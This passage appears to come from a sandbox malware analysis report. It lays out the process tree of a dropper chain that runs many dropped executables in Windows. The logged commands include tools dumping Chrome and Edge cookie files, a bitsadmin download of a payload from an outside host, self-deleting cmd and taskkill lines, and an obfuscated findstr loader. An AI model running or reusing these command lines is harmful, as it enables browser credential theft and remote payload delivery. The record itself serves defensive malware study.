                                                                                                                        • C:\Users\Admin\Documents\u3PFowvHRXWQc5JO5Ow35N7U.exe
                                                                                                                          "C:\Users\Admin\Documents\u3PFowvHRXWQc5JO5Ow35N7U.exe"
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:1724
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 656
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:5268
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 668
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:5376
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 684
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:5560
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 720
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:5592
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 1120
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:5968
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 1160
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:6116
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 1204
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:5568
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 1216
                                                                                                                            6⤵
                                                                                                                            • Program crash
                                                                                                                            PID:4424
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "u3PFowvHRXWQc5JO5Ow35N7U.exe" /f & erase "C:\Users\Admin\Documents\u3PFowvHRXWQc5JO5Ow35N7U.exe" & exit
                                                                                                                            6⤵
                                                                                                                              PID:4348
                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                taskkill /im "u3PFowvHRXWQc5JO5Ow35N7U.exe" /f
                                                                                                                                7⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                PID:5892
                                                                                                                          • C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe
                                                                                                                            "C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe"
                                                                                                                            5⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:2652
                                                                                                                            • C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe
                                                                                                                              C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:4428
                                                                                                                            • C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe
                                                                                                                              C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:1096
                                                                                                                            • C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe
                                                                                                                              C:\Users\Admin\Documents\H56hzInFFq1SAJjpdYVEDSLT.exe
                                                                                                                              6⤵
                                                                                                                                PID:5444
                                                                                                                            • C:\Users\Admin\Documents\aDqgd8fG685HDpkT6Ucsqgrk.exe
                                                                                                                              "C:\Users\Admin\Documents\aDqgd8fG685HDpkT6Ucsqgrk.exe"
                                                                                                                              5⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Checks whether UAC is enabled
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              PID:672
                                                                                                                            • C:\Users\Admin\Documents\xxq9dVhk7bicUtMGED1nOzIe.exe
                                                                                                                              "C:\Users\Admin\Documents\xxq9dVhk7bicUtMGED1nOzIe.exe"
                                                                                                                              5⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:4396
                                                                                                                              • C:\Users\Admin\Documents\xxq9dVhk7bicUtMGED1nOzIe.exe
                                                                                                                                "C:\Users\Admin\Documents\xxq9dVhk7bicUtMGED1nOzIe.exe"
                                                                                                                                6⤵
                                                                                                                                  PID:7180
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                    7⤵
                                                                                                                                      PID:6224
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                        8⤵
                                                                                                                                          PID:6912
                                                                                                                                  • C:\Users\Admin\Documents\N79rwjG01NQrTZzvz0Ld5o8i.exe
                                                                                                                                    "C:\Users\Admin\Documents\N79rwjG01NQrTZzvz0Ld5o8i.exe"
                                                                                                                                    5⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:3984
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\2907746.exe
                                                                                                                                      "C:\Users\Admin\AppData\Roaming\2907746.exe"
                                                                                                                                      6⤵
                                                                                                                                        PID:5756
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\3326456.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\3326456.exe"
                                                                                                                                        6⤵
                                                                                                                                          PID:5820
                                                                                                                                        • C:\Users\Admin\AppData\Roaming\7784790.exe
                                                                                                                                          "C:\Users\Admin\AppData\Roaming\7784790.exe"
                                                                                                                                          6⤵
                                                                                                                                            PID:5728
                                                                                                                                        • C:\Users\Admin\Documents\yN3e5y91LbbFxAhSf4rqUav4.exe
                                                                                                                                          "C:\Users\Admin\Documents\yN3e5y91LbbFxAhSf4rqUav4.exe"
                                                                                                                                          5⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:3856
                                                                                                                                          • C:\Users\Admin\Documents\yN3e5y91LbbFxAhSf4rqUav4.exe
                                                                                                                                            C:\Users\Admin\Documents\yN3e5y91LbbFxAhSf4rqUav4.exe
                                                                                                                                            6⤵
                                                                                                                                              PID:4016
                                                                                                                                            • C:\Users\Admin\Documents\yN3e5y91LbbFxAhSf4rqUav4.exe
                                                                                                                                              C:\Users\Admin\Documents\yN3e5y91LbbFxAhSf4rqUav4.exe
                                                                                                                                              6⤵
                                                                                                                                                PID:5952
                                                                                                                                            • C:\Users\Admin\Documents\tdmU1SQ0zLbWY3CsHjPn6Mm7.exe
                                                                                                                                              "C:\Users\Admin\Documents\tdmU1SQ0zLbWY3CsHjPn6Mm7.exe"
                                                                                                                                              5⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:544
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                6⤵
                                                                                                                                                  PID:4416
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                  6⤵
                                                                                                                                                    PID:1244
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                    6⤵
                                                                                                                                                      PID:5524
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                      6⤵
                                                                                                                                                        PID:6080
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                        6⤵
                                                                                                                                                          PID:1856
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                          6⤵
                                                                                                                                                            PID:2340
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                            6⤵
                                                                                                                                                              PID:7128
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                              6⤵
                                                                                                                                                                PID:7164
                                                                                                                                                            • C:\Users\Admin\Documents\RjTFCiZYnmRaqJuQJTAZtj5k.exe
                                                                                                                                                              "C:\Users\Admin\Documents\RjTFCiZYnmRaqJuQJTAZtj5k.exe"
                                                                                                                                                              5⤵
                                                                                                                                                                PID:4132
                                                                                                                                                                • C:\Users\Admin\Documents\RjTFCiZYnmRaqJuQJTAZtj5k.exe
                                                                                                                                                                  C:\Users\Admin\Documents\RjTFCiZYnmRaqJuQJTAZtj5k.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:188
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 188 -s 1404
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:4824
                                                                                                                                                                • C:\Users\Admin\Documents\3gWMVeCPP9Coqa6KDcdtOyRg.exe
                                                                                                                                                                  "C:\Users\Admin\Documents\3gWMVeCPP9Coqa6KDcdtOyRg.exe"
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                  PID:4512
                                                                                                                                                                  • C:\Users\Admin\Documents\3gWMVeCPP9Coqa6KDcdtOyRg.exe
                                                                                                                                                                    C:\Users\Admin\Documents\3gWMVeCPP9Coqa6KDcdtOyRg.exe
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:4124
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 24
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:4752
                                                                                                                                                                • C:\Users\Admin\Documents\OATE5QW2E5uPYw9R9A9BDiHj.exe
                                                                                                                                                                  "C:\Users\Admin\Documents\OATE5QW2E5uPYw9R9A9BDiHj.exe"
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:4168
                                                                                                                                                                  • C:\Users\Admin\Documents\OATE5QW2E5uPYw9R9A9BDiHj.exe
                                                                                                                                                                    C:\Users\Admin\Documents\OATE5QW2E5uPYw9R9A9BDiHj.exe
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:6032
                                                                                                                                                                  • C:\Users\Admin\Documents\NAVntJLzq_dD8bBFFKUhBQfD.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\NAVntJLzq_dD8bBFFKUhBQfD.exe"
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:4532
                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:3976
                                                                                                                                                                    • C:\Users\Admin\Documents\NAVntJLzq_dD8bBFFKUhBQfD.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\NAVntJLzq_dD8bBFFKUhBQfD.exe" -a
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:5680
                                                                                                                                                                    • C:\Users\Admin\Documents\BV6R7DDZxKV1uJmIJozn568y.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\BV6R7DDZxKV1uJmIJozn568y.exe"
                                                                                                                                                                      5⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:2848
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im BV6R7DDZxKV1uJmIJozn568y.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\BV6R7DDZxKV1uJmIJozn568y.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:5852
                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                            taskkill /im BV6R7DDZxKV1uJmIJozn568y.exe /f
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                            PID:5588
                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                            timeout /t 6
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                            PID:6340
                                                                                                                                                                      • C:\Users\Admin\Documents\Q8n8nctRtVVdB5gp7LJYxeI0.exe
                                                                                                                                                                        "C:\Users\Admin\Documents\Q8n8nctRtVVdB5gp7LJYxeI0.exe"
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:5416
                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsbAD2B.tmp\tempfile.ps1"
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:5916
                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsbAD2B.tmp\tempfile.ps1"
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:6764
                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsbAD2B.tmp\tempfile.ps1"
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:6728
                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsbAD2B.tmp\tempfile.ps1"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:644
                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsbAD2B.tmp\tempfile.ps1"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:6132
                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsbAD2B.tmp\tempfile.ps1"
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:7836
                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsbAD2B.tmp\tempfile.ps1"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:7764
                                                                                                                                                                                        • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                                                                                          "bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z
                                                                                                                                                                                          6⤵
                                                                                                                                                                                          • Download via BitsAdmin
                                                                                                                                                                                          PID:7804
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c sahiba_7.exe
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                    PID:1556
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_7.exe
                                                                                                                                                                                      sahiba_7.exe
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                      PID:3980
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c cmd < Compatto.rtf
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                        PID:2172
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c sahiba_8.exe
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                    PID:1236
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_8.exe
                                                                                                                                                                                      sahiba_8.exe
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:752
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:4844
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:4796
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:5096
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:3976
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:5016
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:1788
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:4584
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:1096
                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:884
                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                      PID:5036
                                                                                                                                                                                  • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                    findstr /V /R "^jvMDwkwydQdmnxGPmMOjYlbIlopECWXOZojRKCmISYgoKPYfXOyLKoMeYraSevCxTCAdoOyWjyxqVfYxlTHNQkrRvpTHpGGccUgofIipJpnFNMuJyYIpPPDHnITYVnMGn$" Oggi.rtf
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:748
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      cmd
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                      PID:3504
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Triste.exe.com
                                                                                                                                                                                        Triste.exe.com n
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:4124
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Triste.exe.com
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Triste.exe.com n
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:4200
                                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                        ping 127.0.0.1 -n 30
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                        PID:4156
                                                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                      PID:4748
                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                        PID:4784
                                                                                                                                                                                    • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                                                                      C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:5152
                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        PID:5544
                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:4812
                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:6348
                                                                                                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                            C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:6464
                                                                                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding CD1FE7EB5520ADA25AB6183A78322CCB C
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:7100
                                                                                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding BDA1DADCDA05059952565D70BBDD1DC7
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:7752
                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                      "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                      PID:7424
                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding DD0240A8F97C2139B661CEB8DDF11680 E Global\MSI0000
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:7204
                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:6616
                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:1424
                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:6500
                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                          PID:7760
                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:5708
                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:7252
                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                              1⤵
